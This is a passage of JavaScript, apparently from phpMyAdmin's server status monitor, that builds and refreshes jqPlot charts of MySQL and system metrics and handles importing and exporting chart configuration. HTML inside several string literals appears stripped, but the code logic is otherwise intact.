valueDivisor: 1024 }], maxYLabel: 0 }, 'swap': { title: Messages.strSystemSwap, series: [{ label: Messages.strCachedSwap, fill: true }, { label: Messages.strUsedSwap, fill: true }, { label: Messages.strFreeSwap, fill: true }], nodes: [{ dataPoints: [{ type: 'memory', name: 'SwapCached' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'SwapUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'SwapFree' }], valueDivisor: 1024 }], maxYLabel: 0 } }); break; case 'SunOS': $.extend(presetCharts, { 'cpu': { title: Messages.strSystemCPUUsage, series: [{ label: Messages.strAverageLoad }], nodes: [{ dataPoints: [{ type: 'cpu', name: 'loadavg' }] }], maxYLabel: 0 }, 'memory': { title: Messages.strSystemMemory, series: [{ label: Messages.strUsedMemory, fill: true }, { label: Messages.strFreeMemory, fill: true }], nodes: [{ dataPoints: [{ type: 'memory', name: 'MemUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'MemFree' }], valueDivisor: 1024 }], maxYLabel: 0 }, 'swap': { title: Messages.strSystemSwap, series: [{ label: Messages.strUsedSwap, fill: true }, { label: Messages.strFreeSwap, fill: true }], nodes: [{ dataPoints: [{ type: 'memory', name: 'SwapUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'SwapFree' }], valueDivisor: 1024 }], maxYLabel: 0 } }); break; } // Default setting for the chart grid var defaultChartGrid = { 'c0': { title: Messages.strQuestions, series: [{ label: Messages.strQuestions }], nodes: [{ dataPoints: [{ type: 'statusvar', name: 'Questions' }], display: 'differential' }], maxYLabel: 0 }, 'c1': { title: Messages.strChartConnectionsTitle, series: [{ label: Messages.strConnections }, { label: Messages.strProcesses }], nodes: [{ dataPoints: [{ type: 'statusvar', name: 'Connections' }], display: 'differential' }, { dataPoints: [{ type: 'proc', name: 'processes' }] }], maxYLabel: 0 }, 'c2': { title: Messages.strTraffic, series: [{ label: Messages.strBytesSent }, { label: Messages.strBytesReceived }], nodes: [{ dataPoints: [{ type: 'statusvar', name: 'Bytes_sent' }], display: 'differential', valueDivisor: 1024 }, { dataPoints: [{ type: 'statusvar', name: 'Bytes_received' }], display: 'differential', valueDivisor: 1024 }], maxYLabel: 0 } }; // Server is localhost => We can add cpu/memory/swap to the default chart if (serverDbIsLocal && typeof presetCharts.cpu !== 'undefined') { defaultChartGrid.c3 = presetCharts.cpu; defaultChartGrid.c4 = presetCharts.memory; defaultChartGrid.c5 = presetCharts.swap; } $('a[href="#rearrangeCharts"], a[href="#endChartEditMode"]').on('click', function (event) { event.preventDefault(); editMode = !editMode; if ($(this).attr('href') === '#endChartEditMode') { editMode = false; } $('a[href="#endChartEditMode"]').toggle(editMode); if (editMode) { // Close the settings popup $('div.popupContent').hide().removeClass('openedPopup'); $('#chartGrid').sortableTable({ ignoreRect: { top: 8, left: chartSize.width - 63, width: 54, height: 24 } }); } else { $('#chartGrid').sortableTable('destroy'); } saveMonitor(); // Save settings return false; }); // global settings $('div.popupContent select[name="chartColumns"]').on('change', function () { monitorSettings.columns = parseInt(this.value, 10); calculateChartSize(); // Empty cells should keep their size so you can drop onto them $('#chartGrid').find('tr td').css('width', chartSize.width + 'px'); $('#chartGrid').find('.monitorChart').css({ width: chartSize.width + 'px', height: chartSize.height + 'px' }); /* Reorder all charts that it fills all column cells */ var numColumns; var $tr = $('#chartGrid').find('tr').first(); var tempManageCols = function () { if (numColumns > monitorSettings.columns) { if ($tr.next().length === 0) { $tr.after(''); } $tr.next().prepend($(this)); } numColumns++; }; var tempAddCol = function () { if ($(this).next().length !== 0) { $(this).append($(this).next().find('td').first()); } }; while ($tr.length !== 0) { numColumns = 1; // To many cells in one row => put into next row $tr.find('td').each(tempManageCols); // To little cells in one row => for each cell to little, // move all cells backwards by 1 if ($tr.next().length > 0) { var cnt = monitorSettings.columns - $tr.find('td').length; for (var i = 0; i < cnt; i++) { $tr.append($tr.next().find('td').first()); $tr.nextAll().each(tempAddCol); } } $tr = $tr.next(); } if (monitorSettings.gridMaxPoints === 'auto') { runtime.gridMaxPoints = Math.round((chartSize.width - 40) / 12); } runtime.xmin = new Date().getTime() - serverTimeDiff - runtime.gridMaxPoints * monitorSettings.gridRefresh; runtime.xmax = new Date().getTime() - serverTimeDiff + monitorSettings.gridRefresh; if (editMode) { $('#chartGrid').sortableTable('refresh'); } refreshChartGrid(); saveMonitor(); // Save settings }); $('div.popupContent select[name="gridChartRefresh"]').on('change', function () { monitorSettings.gridRefresh = parseInt(this.value, 10) * 1000; clearTimeout(runtime.refreshTimeout); if (runtime.refreshRequest) { runtime.refreshRequest.abort(); } runtime.xmin = new Date().getTime() - serverTimeDiff - runtime.gridMaxPoints * monitorSettings.gridRefresh; // fixing chart shift towards left on refresh rate change // runtime.xmax = new Date().getTime() - serverTimeDiff + monitorSettings.gridRefresh; runtime.refreshTimeout = setTimeout(refreshChartGrid, monitorSettings.gridRefresh); saveMonitor(); // Save settings }); $('a[href="#addNewChart"]').on('click', function (event) { event.preventDefault(); $('#addChartButton').on('click', function () { var type = $('input[name="chartType"]:checked').val(); if (type === 'preset') { newChart = presetCharts[$('#addChartModal').find('select[name="presetCharts"]').prop('value')]; } else { // If user builds their own chart, it's being set/updated // each time they add a series // So here we only warn if they didn't add a series yet if (!newChart || !newChart.nodes || newChart.nodes.length === 0) { alert(Messages.strAddOneSeriesWarning); return; } } newChart.title = $('input[name="chartTitle"]').val(); // Add a cloned object to the chart grid addChart($.extend(true, {}, newChart)); newChart = null; saveMonitor(); // Save settings $('#closeModalButton').off('click'); }); $('#closeModalButton').on('click', function () { newChart = null; $('span#clearSeriesLink').hide(); $('#seriesPreview').html(''); $('#closeModalButton').off('click'); }); var $presetList = $('#addChartModal').find('select[name="presetCharts"]'); if ($presetList.html().length === 0) { $.each(presetCharts, function (key, value) { $presetList.append(''); }); $presetList.on('change', function () { $('input[name="chartTitle"]').val($presetList.find(':selected').text()); $('#chartPreset').prop('checked', true); }); $('#chartPreset').on('click', function () { $('input[name="chartTitle"]').val($presetList.find(':selected').text()); }); $('#chartStatusVar').on('click', function () { $('input[name="chartTitle"]').val($('#chartSeries').find(':selected').text().replace(/_/g, ' ')); }); $('#chartSeries').on('change', function () { $('input[name="chartTitle"]').val($('#chartSeries').find(':selected').text().replace(/_/g, ' ')); }); } $('#addChartModal').modal('show'); $('#seriesPreview').html('' + Messages.strNone + ''); return false; }); $('a[href="#exportMonitorConfig"]').on('click', function (event) { event.preventDefault(); var gridCopy = {}; $.each(runtime.charts, function (key, elem) { gridCopy[key] = {}; gridCopy[key].nodes = elem.nodes; gridCopy[key].series = elem.series; gridCopy[key].settings = elem.settings; gridCopy[key].title = elem.title; gridCopy[key].maxYLabel = elem.maxYLabel; }); var exportData = { monitorCharts: gridCopy, monitorSettings: monitorSettings }; var blob = new Blob([JSON.stringify(exportData)], { type: 'application/octet-stream' }); var url = null; var fileName = 'monitor-config.json'; if (window.navigator && window.navigator.msSaveOrOpenBlob) { window.navigator.msSaveOrOpenBlob(blob, fileName); } else { url = URL.createObjectURL(blob); window.location.href = url; } setTimeout(function () { // For some browsers it is necessary to delay revoking the ObjectURL if (url !== null) { window.URL.revokeObjectURL(url); } url = undefined; blob = undefined; }, 100); }); $('a[href="#importMonitorConfig"]').on('click', function (event) { event.preventDefault(); $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strImportDialogTitle }); $('#emptyDialog').html(Messages.strImportDialogMessage + '
        ' + '
        '); var dlgBtns = { [Messages.strImport]: { text: Messages.strImport, class: 'btn btn-primary' }, [Messages.strCancel]: { text: Messages.strCancel, class: 'btn btn-secondary' } }; dlgBtns[Messages.strImport].click = function () { var input = $('#emptyDialog').find('#import_file')[0]; var reader = new FileReader(); reader.onerror = function (event) { alert(Messages.strFailedParsingConfig + '\n' + event.target.error.code); }; reader.onload = function (e) { var data = e.target.result; var json = null; // Try loading config try { json = JSON.parse(data); } catch (err) { alert(Messages.strFailedParsingConfig); $('#emptyDialog').dialog('close'); return; } // Basic check, is this a monitor config json? if (!json || !json.monitorCharts || !json.monitorCharts) { alert(Messages.strFailedParsingConfig); $('#emptyDialog').dialog('close'); return; } // If json ok, try applying config try { if (isStorageSupported('localStorage')) { window.localStorage.monitorCharts = JSON.stringify(json.monitorCharts); window.localStorage.monitorSettings = JSON.stringify(json.monitorSettings); } rebuildGrid(); } catch (err) { alert(Messages.strFailedBuildingGrid); // If an exception is thrown, load default again if (isStorageSupported('localStorage')) { window.localStorage.removeItem('monitorCharts'); window.localStorage.removeItem('monitorSettings'); } rebuildGrid(); } $('#emptyDialog').dialog('close'); }; reader.readAsText(input.files[0]); }; dlgBtns[Messages.strCancel].click = function () { $(this).dialog('close'); }; $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 'auto', height: 'auto', buttons: dlgBtns }); }); $('a[href="#clearMonitorConfig"]').on('click', function (event) { event.preventDefault(); if (isStorageSupported('localStorage')) { window.localStorage.removeItem('monitorCharts'); window.localStorage.removeItem('monitorSettings'); window.localStorage.removeItem('monitorVersion'); } $(this).hide(); rebuildGrid(); }); $('a[href="#pauseCharts"]').on('click', function (event) { event.preventDefault(); runtime.redrawCharts = !runtime.redrawCharts; if (!runtime.redrawCharts) { $(this).html(Functions.getImage('play') + Messages.strResumeMonitor); } else { $(this).html(Functions.getImage('pause') + Messages.strPauseMonitor); if (!runtime.charts) { initGrid(); $('a[href="#settingsPopup"]').show(); } } return false; }); $('a[href="#monitorInstructionsDialog"]').on('click', function (event) { event.preventDefault(); var $dialog = $('#monitorInstructionsDialog'); var dlgBtns = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary', click: function () { $(this).dialog('close'); } } }; $dialog.dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: '60%', height: 'auto', buttons: dlgBtns }).find('img.ajaxIcon').show(); var loadLogVars = function (getvars) { var vars = { 'ajax_request': true, 'server': CommonParams.get('server') }; if (getvars) { $.extend(vars, getvars); } $.post('index.php?route=/server/status/monitor/log-vars', vars, function (data) { var logVars; if (typeof data !== 'undefined' && data.success === true) { logVars = data.message; } else { return serverResponseError(); } var icon = Functions.getImage('s_success'); var msg = ''; var str = ''; if (logVars.general_log === 'ON') { if (logVars.slow_query_log === 'ON') { msg = Messages.strBothLogOn; } else { msg = Messages.strGenLogOn; } } if (msg.length === 0 && logVars.slow_query_log === 'ON') { msg = Messages.strSlowLogOn; } if (msg.length === 0) { icon = Functions.getImage('s_error'); msg = Messages.strBothLogOff; } str = '' + Messages.strCurrentSettings + '
        '; str += icon + msg + '
        '; if (logVars.log_output !== 'TABLE') { str += Functions.getImage('s_error') + ' ' + Messages.strLogOutNotTable + '
        '; } else { str += Functions.getImage('s_success') + ' ' + Messages.strLogOutIsTable + '
        '; } if (logVars.slow_query_log === 'ON') { if (logVars.long_query_time > 2) { str += Functions.getImage('s_attention') + ' '; str += Functions.sprintf(Messages.strSmallerLongQueryTimeAdvice, logVars.long_query_time); str += '
        '; } if (logVars.long_query_time < 2) { str += Functions.getImage('s_success') + ' '; str += Functions.sprintf(Messages.strLongQueryTimeSet, logVars.long_query_time); str += '
        '; } } str += '
        '; if (isSuperUser) { str += '

        ' + Messages.strChangeSettings + ''; str += '
        '; str += Messages.strSettingsAppliedGlobal + '
        '; var varValue = 'TABLE'; if (logVars.log_output === 'TABLE') { varValue = 'FILE'; } str += '- '; str += Functions.sprintf(Messages.strSetLogOutput, varValue); str += '
        '; if (logVars.general_log !== 'ON') { str += '- '; str += Functions.sprintf(Messages.strEnableVar, 'general_log'); str += '
        '; } else { str += '- '; str += Functions.sprintf(Messages.strDisableVar, 'general_log'); str += '
        '; } if (logVars.slow_query_log !== 'ON') { str += '- '; str += Functions.sprintf(Messages.strEnableVar, 'slow_query_log'); str += '
        '; } else { str += '- '; str += Functions.sprintf(Messages.strDisableVar, 'slow_query_log'); str += '
        '; } varValue = 5; if (logVars.long_query_time > 2) { varValue = 1; } str += '- '; str += Functions.sprintf(Messages.setSetLongQueryTime, varValue); str += '
        '; } else { str += Messages.strNoSuperUser + '
        '; } str += '
        '; $dialog.find('div.monitorUse').toggle(logVars.log_output === 'TABLE' && (logVars.slow_query_log === 'ON' || logVars.general_log === 'ON')); $dialog.find('div.ajaxContent').html(str); $dialog.find('img.ajaxIcon').hide(); $dialog.find('a.set').on('click', function () { var nameValue = $(this).attr('href').split('-'); loadLogVars({ varName: nameValue[0].substr(1), varValue: nameValue[1] }); $dialog.find('img.ajaxIcon').show(); }); }); }; loadLogVars(); return false; }); $('input[name="chartType"]').on('change', function () { $('#chartVariableSettings').toggle(this.checked && this.value === 'variable'); var title = $('input[name="chartTitle"]').val(); if (title === Messages.strChartTitle || title === $('label[for="' + $('input[name="chartTitle"]').data('lastRadio') + '"]').text()) { $('input[name="chartTitle"]').data('lastRadio', $(this).attr('id')).val($('label[for="' + $(this).attr('id') + '"]').text()); } }); $('input[name="useDivisor"]').on('change', function () { $('span.divisorInput').toggle(this.checked); }); $('input[name="useUnit"]').on('change', function () { $('span.unitInput').toggle(this.checked); }); $('select[name="varChartList"]').on('change', function () { if (this.selectedIndex !== 0) { $('#variableInput').val(this.value); } }); $('a[href="#kibDivisor"]').on('click', function (event) { event.preventDefault(); $('input[name="valueDivisor"]').val(1024); $('input[name="valueUnit"]').val(Messages.strKiB); $('span.unitInput').toggle(true); $('input[name="useUnit"]').prop('checked', true); return false; }); $('a[href="#mibDivisor"]').on('click', function (event) { event.preventDefault(); $('input[name="valueDivisor"]').val(1024 * 1024); $('input[name="valueUnit"]').val(Messages.strMiB); $('span.unitInput').toggle(true); $('input[name="useUnit"]').prop('checked', true); return false; }); $('a[href="#submitClearSeries"]').on('click', function (event) { event.preventDefault(); $('#seriesPreview').html('' + Messages.strNone + ''); newChart = null; $('#clearSeriesLink').hide(); }); $('a[href="#submitAddSeries"]').on('click', function (event) { event.preventDefault(); if ($('#variableInput').val() === '') { return false; } if (newChart === null) { $('#seriesPreview').html(''); newChart = { title: $('input[name="chartTitle"]').val(), nodes: [], series: [], maxYLabel: 0 }; } var serie = { dataPoints: [{ type: 'statusvar', name: $('#variableInput').val() }], display: $('input[name="differentialValue"]').prop('checked') ? 'differential' : '' }; if (serie.dataPoints[0].name === 'Processes') { serie.dataPoints[0].type = 'proc'; } if ($('input[name="useDivisor"]').prop('checked')) { serie.valueDivisor = parseInt($('input[name="valueDivisor"]').val(), 10); } if ($('input[name="useUnit"]').prop('checked')) { serie.unit = $('input[name="valueUnit"]').val(); } var str = serie.display === 'differential' ? ', ' + Messages.strDifferential : ''; str += serie.valueDivisor ? ', ' + Functions.sprintf(Messages.strDividedBy, serie.valueDivisor) : ''; str += serie.unit ? ', ' + Messages.strUnit + ': ' + serie.unit : ''; var newSeries = { label: $('#variableInput').val().replace(/_/g, ' ') }; newChart.series.push(newSeries); $('#seriesPreview').append('- ' + Functions.escapeHtml(newSeries.label + str) + '
        '); newChart.nodes.push(serie); $('#variableInput').val(''); $('input[name="differentialValue"]').prop('checked', true); $('input[name="useDivisor"]').prop('checked', false); $('input[name="useUnit"]').prop('checked', false); $('input[name="useDivisor"]').trigger('change'); $('input[name="useUnit"]').trigger('change'); $('select[name="varChartList"]').get(0).selectedIndex = 0; $('#clearSeriesLink').show(); return false; }); $('#variableInput').autocomplete({ source: variableNames }); /* Initializes the monitor, called only once */ function initGrid() { var i; /* Apply default values & config */ if (isStorageSupported('localStorage')) { if (typeof window.localStorage.monitorCharts !== 'undefined') { runtime.charts = JSON.parse(window.localStorage.monitorCharts); } if (typeof window.localStorage.monitorSettings !== 'undefined') { monitorSettings = JSON.parse(window.localStorage.monitorSettings); } $('a[href="#clearMonitorConfig"]').toggle(runtime.charts !== null); if (runtime.charts !== null && typeof window.localStorage.monitorVersion !== 'undefined' && monitorProtocolVersion !== window.localStorage.monitorVersion) { $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strIncompatibleMonitorConfig }); $('#emptyDialog').html(Messages.strIncompatibleMonitorConfigDescription); var dlgBtns = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary', click: function () { $(this).dialog('close'); } } }; $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 400, buttons: dlgBtns }); } } if (runtime.charts === null) { runtime.charts = defaultChartGrid; } if (monitorSettings === null) { monitorSettings = defaultMonitorSettings; } $('select[name="gridChartRefresh"]').val(monitorSettings.gridRefresh / 1000); $('select[name="chartColumns"]').val(monitorSettings.columns); if (monitorSettings.gridMaxPoints === 'auto') { runtime.gridMaxPoints = Math.round((monitorSettings.chartSize.width - 40) / 12); } else { runtime.gridMaxPoints = monitorSettings.gridMaxPoints; } runtime.xmin = new Date().getTime() - serverTimeDiff - runtime.gridMaxPoints * monitorSettings.gridRefresh; runtime.xmax = new Date().getTime() - serverTimeDiff + monitorSettings.gridRefresh; /* Calculate how much spacing there is between each chart */ $('#chartGrid').html(''); chartSpacing = { width: $('#chartGrid').find('td').eq(1).offset().left - $('#chartGrid').find('td').eq(0).offset().left, height: $('#chartGrid').find('tr').eq(1).find('td').eq(1).offset().top - $('#chartGrid').find('tr').eq(0).find('td').eq(0).offset().top }; $('#chartGrid').html(''); /* Add all charts - in correct order */ var keys = []; $.each(runtime.charts, function (key) { keys.push(key); }); keys.sort(); for (i = 0; i < keys.length; i++) { addChart(runtime.charts[keys[i]], true); } /* Fill in missing cells */ var numCharts = $('#chartGrid').find('.monitorChart').length; var numMissingCells = (monitorSettings.columns - numCharts % monitorSettings.columns) % monitorSettings.columns; for (i = 0; i < numMissingCells; i++) { $('#chartGrid').find('tr').last().append(''); } // Empty cells should keep their size so you can drop onto them calculateChartSize(); $('#chartGrid').find('tr td').css('width', chartSize.width + 'px'); buildRequiredDataList(); refreshChartGrid(); } /* Calls destroyGrid() and initGrid(), but before doing so it saves the chart * data from each chart and restores it after the monitor is initialized again */ function rebuildGrid() { var oldData = null; if (runtime.charts) { oldData = {}; $.each(runtime.charts, function (key, chartObj) { for (var i = 0, l = chartObj.nodes.length; i < l; i++) { oldData[chartObj.nodes[i].dataPoint] = []; for (var j = 0, ll = chartObj.chart.series[i].data.length; j < ll; j++) { oldData[chartObj.nodes[i].dataPoint].push([chartObj.chart.series[i].data[j].x, chartObj.chart.series[i].data[j].y]); } } }); } destroyGrid(); initGrid(); } /* Calculates the dynamic chart size that depends on the column width */ function calculateChartSize() { var panelWidth; if ($('body').height() > $(window).height()) { // has vertical scroll bar panelWidth = $('#logTable').innerWidth(); } else { panelWidth = $('#logTable').innerWidth() - 10; // leave some space for vertical scroll bar } var wdt = panelWidth; var windowWidth = $(window).width(); if (windowWidth > 768) { wdt = (panelWidth - monitorSettings.columns * Math.abs(chartSpacing.width)) / monitorSettings.columns; } chartSize = { width: Math.floor(wdt), height: Math.floor(0.75 * wdt) }; } /* Adds a chart to the chart grid */ function addChart(chartObj, initialize) { var i; var settings = { title: Functions.escapeHtml(chartObj.title), grid: { drawBorder: false, shadow: false, background: 'rgba(0,0,0,0)' }, axes: { xaxis: { renderer: $.jqplot.DateAxisRenderer, tickOptions: { formatString: '%H:%M:%S', showGridline: false }, min: runtime.xmin, max: runtime.xmax }, yaxis: { min: 0, max: 100, tickInterval: 20 } }, seriesDefaults: { rendererOptions: { smooth: true }, showLine: true, lineWidth: 2, markerOptions: { size: 6 } }, highlighter: { show: true } }; if (settings.title === Messages.strSystemCPUUsage || settings.title === Messages.strQueryCacheEfficiency) { settings.axes.yaxis.tickOptions = { formatString: '%d %%' }; } else if (settings.title === Messages.strSystemMemory || settings.title === Messages.strSystemSwap) { settings.stackSeries = true; settings.axes.yaxis.tickOptions = { formatter: $.jqplot.byteFormatter(2) // MiB }; } else if (settings.title === Messages.strTraffic) { settings.axes.yaxis.tickOptions = { formatter: $.jqplot.byteFormatter(1) // KiB }; } else if (settings.title === Messages.strQuestions || settings.title === Messages.strConnections) { settings.axes.yaxis.tickOptions = { formatter: function (format, val) { if (Math.abs(val) >= 1000000) { return $.jqplot.sprintf('%.3g M', val / 1000000); } else if (Math.abs(val) >= 1000) { return $.jqplot.sprintf('%.3g k', val / 1000); } else { return $.jqplot.sprintf('%d', val); } } }; } settings.series = chartObj.series; if ($('#' + 'gridchart' + runtime.chartAI).length === 0) { var numCharts = $('#chartGrid').find('.monitorChart').length; if (numCharts === 0 || numCharts % monitorSettings.columns === 0) { $('#chartGrid').append(''); } if (!chartSize) { calculateChartSize(); } $('#chartGrid').find('tr').last().append('
        ' + '
        ' + '
        '); } // Set series' data as [0,0], smooth lines won't plot with data array having null values. // also chart won't plot initially with no data and data comes on refreshChartGrid() var series = []; for (i in chartObj.series) { series.push([[0, 0]]); } var tempTooltipContentEditor = function (str, seriesIndex, pointIndex, plot) { var j; // TODO: move style to theme CSS var tooltipHtml = '
        '; // x value i.e. time var timeValue = str.split(',')[0]; var seriesValue; tooltipHtml += 'Time: ' + timeValue; tooltipHtml += ''; // Add y values to the tooltip per series for (j in plot.series) { // get y value if present if (plot.series[j].data.length > pointIndex) { seriesValue = plot.series[j].data[pointIndex][1]; } else { return; } var seriesLabel = plot.series[j].label; var seriesColor = plot.series[j].color; // format y value if (plot.series[0]._yaxis.tickOptions.formatter) { // eslint-disable-line no-underscore-dangle // using formatter function // eslint-disable-next-line no-underscore-dangle seriesValue = plot.series[0]._yaxis.tickOptions.formatter('%s', seriesValue); } else if (plot.series[0]._yaxis.tickOptions.formatString) { // eslint-disable-line no-underscore-dangle // using format string // eslint-disable-next-line no-underscore-dangle seriesValue = Functions.sprintf(plot.series[0]._yaxis.tickOptions.formatString, seriesValue); } tooltipHtml += '
        ' + seriesLabel + ': ' + seriesValue + ''; } tooltipHtml += '
        '; return tooltipHtml; }; // set Tooltip for each series for (i in settings.series) { settings.series[i].highlighter = { show: true, tooltipContentEditor: tempTooltipContentEditor }; } chartObj.chart = $.jqplot('gridchart' + runtime.chartAI, series, settings); // remove [0,0] after plotting for (i in chartObj.chart.series) { chartObj.chart.series[i].data.shift(); } var $legend = $('
        ').css('padding', '0.5em'); for (i in chartObj.chart.series) { $legend.append($('
        ').append($('
        ').css({ width: '1em', height: '1em', background: chartObj.chart.seriesColors[i] }).addClass('float-start')).append($('
        ').text(chartObj.chart.series[i].label).addClass('float-start')).append($('
        ')).addClass('float-start')); } $('#gridchart' + runtime.chartAI).parent().append($legend); if (initialize !== true) { runtime.charts['c' + runtime.chartAI] = chartObj; buildRequiredDataList(); } // time span selection $('#gridchart' + runtime.chartAI).on('jqplotMouseDown', function (ev, gridpos, datapos) { drawTimeSpan = true; selectionTimeDiff.push(datapos.xaxis); if ($('#selection_box').length) { $('#selection_box').remove(); } var selectionBox = $('
        '); // eslint-disable-next-line compat/compat $(document.body).append(selectionBox); selectionStartX = ev.pageX; selectionStartY = ev.pageY; selectionBox.attr({ id: 'selection_box' }).css({ top: selectionStartY - gridpos.y, left: selectionStartX }).fadeIn(); }); $('#gridchart' + runtime.chartAI).on('jqplotMouseUp', function (ev, gridpos, datapos) { if (!drawTimeSpan || editMode) { return; } selectionTimeDiff.push(datapos.xaxis); if (selectionTimeDiff[1] <= selectionTimeDiff[0]) { selectionTimeDiff = []; return; } // get date from timestamp var min = new Date(Math.ceil(selectionTimeDiff[0])); var max = new Date(Math.ceil(selectionTimeDiff[1])); getLogAnalyseDialog(min, max); selectionTimeDiff = []; drawTimeSpan = false; }); $('#gridchart' + runtime.chartAI).on('jqplotMouseMove', function (ev) { if (!drawTimeSpan || editMode) { return; } if (selectionStartX !== undefined) { $('#selection_box').css({ width: Math.ceil(ev.pageX - selectionStartX) }).fadeIn(); } }); $('#gridchart' + runtime.chartAI).on('jqplotMouseLeave', function () { drawTimeSpan = false; }); // eslint-disable-next-line compat/compat $(document.body).on('mouseup', function () { if ($('#selection_box').length) { $('#selection_box').remove(); } }); // Edit, Print icon only in edit mode $('#chartGrid').find('div svg').find('*[zIndex=20], *[zIndex=21], *[zIndex=19]').toggle(editMode); runtime.chartAI++; } function getLogAnalyseDialog(min, max) { var $logAnalyseDialog = $('#logAnalyseDialog'); var $dateStart = $logAnalyseDialog.find('input[name="dateStart"]'); var $dateEnd = $logAnalyseDialog.find('input[name="dateEnd"]'); $dateStart.prop('readonly', true); $dateEnd.prop('readonly', true); var dlgBtns = { [Messages.strFromSlowLog]: { text: Messages.strFromSlowLog, class: 'btn btn-secondary' }, [Messages.strFromGeneralLog]: { text: Messages.strFromGeneralLog, class: 'btn btn-secondary' } }; dlgBtns[Messages.strFromSlowLog].click = function () { loadLog('slow', min, max); $(this).dialog('close'); }; dlgBtns[Messages.strFromGeneralLog].click = function () { loadLog('general', min, max); $(this).dialog('close'); }; $logAnalyseDialog.dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 'auto', height: 'auto', buttons: dlgBtns }); Functions.addDatepicker($dateStart, 'datetime', { showMillisec: false, showMicrosec: false, timeFormat: 'HH:mm:ss', firstDay: firstDayOfCalendar }); Functions.addDatepicker($dateEnd, 'datetime', { showMillisec: false, showMicrosec: false, timeFormat: 'HH:mm:ss', firstDay: firstDayOfCalendar }); $dateStart.datepicker('setDate', min); $dateEnd.datepicker('setDate', max); } function loadLog(type, min, max) { var dateStart = Date.parse($('#logAnalyseDialog').find('input[name="dateStart"]').datepicker('getDate')) || min; var dateEnd = Date.parse($('#logAnalyseDialog').find('input[name="dateEnd"]').datepicker('getDate')) || max; loadLogStatistics({ src: type, start: dateStart, end: dateEnd, removeVariables: $('#removeVariables').prop('checked'), limitTypes: $('#limitTypes').prop('checked') }); } /* Called in regular intervals, this function updates the values of each chart in the grid */ function refreshChartGrid() { /* Send to server */ runtime.refreshRequest = $.post('index.php?route=/server/status/monitor/chart', { 'ajax_request': true, 'requiredData': JSON.stringify(runtime.dataList), 'server': CommonParams.get('server') }, function (data) { var chartData; if (typeof data !== 'undefined' && data.success === true) { chartData = data.message; } else { return serverResponseError(); } var value; var i = 0; var diff; var total; /* Update values in each graph */ $.each(runtime.charts, function (orderKey, elem) { var key = elem.chartID; // If newly added chart, we have no data for it yet if (!chartData[key]) { return; } // Draw all series total = 0; for (var j = 0; j < elem.nodes.length; j++) { // Update x-axis if (i === 0 && j === 0) { if (oldChartData === null) { diff = chartData.x - runtime.xmax; } else { diff = parseInt(chartData.x - oldChartData.x, 10); } runtime.xmin += diff; runtime.xmax += diff; } // elem.chart.xAxis[0].setExtremes(runtime.xmin, runtime.xmax, false); /* Calculate y value */ // If transform function given, use it if (elem.nodes[j].transformFn) { value = chartValueTransform(elem.nodes[j].transformFn, chartData[key][j], // Check if first iteration (oldChartData==null), or if newly added chart oldChartData[key]==null oldChartData === null || oldChartData[key] === null || oldChartData[key] === undefined ? null : oldChartData[key][j]); // Otherwise use original value and apply differential and divisor if given, // in this case we have only one data point per series - located at chartData[key][j][0] } else { value = parseFloat(chartData[key][j][0].value); if (elem.nodes[j].display === 'differential') { if (oldChartData === null || oldChartData[key] === null || oldChartData[key] === undefined) { continue; } value -= oldChartData[key][j][0].value; } if (elem.nodes[j].valueDivisor) { value = value / elem.nodes[j].valueDivisor; } } // Set y value, if defined if (value !== undefined) { elem.chart.series[j].data.push([chartData.x, value]); if (value > elem.maxYLabel) { elem.maxYLabel = value; } else if (elem.maxYLabel === 0) { elem.maxYLabel = 0.5; } // free old data point values and update maxYLabel if (elem.chart.series[j].data.length > runtime.gridMaxPoints && elem.chart.series[j].data[0][0] < runtime.xmin) { // check if the next freeable point is highest if (elem.maxYLabel <= elem.chart.series[j].data[0][1]) { elem.chart.series[j].data.splice(0, elem.chart.series[j].data.length - runtime.gridMaxPoints); elem.maxYLabel = getMaxYLabel(elem.chart.series[j].data); } else { elem.chart.series[j].data.splice(0, elem.chart.series[j].data.length - runtime.gridMaxPoints); } } if (elem.title === Messages.strSystemMemory || elem.title === Messages.strSystemSwap) { total += value; } } } // update chart options // keep ticks number/positioning consistent while refreshrate changes var tickInterval = (runtime.xmax - runtime.xmin) / 5; elem.chart.axes.xaxis.ticks = [runtime.xmax - tickInterval * 4, runtime.xmax - tickInterval * 3, runtime.xmax - tickInterval * 2, runtime.xmax - tickInterval, runtime.xmax]; if (elem.title !== Messages.strSystemCPUUsage && elem.title !== Messages.strQueryCacheEfficiency && elem.title !== Messages.strSystemMemory && elem.title !== Messages.strSystemSwap) { elem.chart.axes.yaxis.max = Math.ceil(elem.maxYLabel * 1.1); elem.chart.axes.yaxis.tickInterval = Math.ceil(elem.maxYLabel * 1.1 / 5); } else if (elem.title === Messages.strSystemMemory || elem.title === Messages.strSystemSwap) { elem.chart.axes.yaxis.max = Math.ceil(total * 1.1 / 100) * 100; elem.chart.axes.yaxis.tickInterval = Math.ceil(total * 1.1 / 5); } i++; if (runtime.redrawCharts) { elem.chart.replot(); } }); oldChartData = chartData; runtime.refreshTimeout = setTimeout(refreshChartGrid, monitorSettings.gridRefresh); }); } /* Function to get highest plotted point's y label, to scale the chart, * TODO: make jqplot's autoscale:true work here */ function getMaxYLabel(dataValues) { var maxY = dataValues[0][1]; $.each(dataValues, function (k, v) { maxY = v[1] > maxY ? v[1] : maxY; }); return maxY; } /* Function that supplies special value transform functions for chart values */ function chartValueTransform(name, cur, prev) { switch (name) { case 'cpu-linux': if (prev === null) { return undefined; } // cur and prev are datapoint arrays, but containing // only 1 element for cpu-linux var newCur = cur[0]; var newPrev = prev[0]; var diffTotal = newCur.busy + newCur.idle - (newPrev.busy + newPrev.idle); var diffIdle = newCur.idle - newPrev.idle; return 100 * (diffTotal - diffIdle) / diffTotal; // Query cache efficiency (%) case 'qce': if (prev === null) 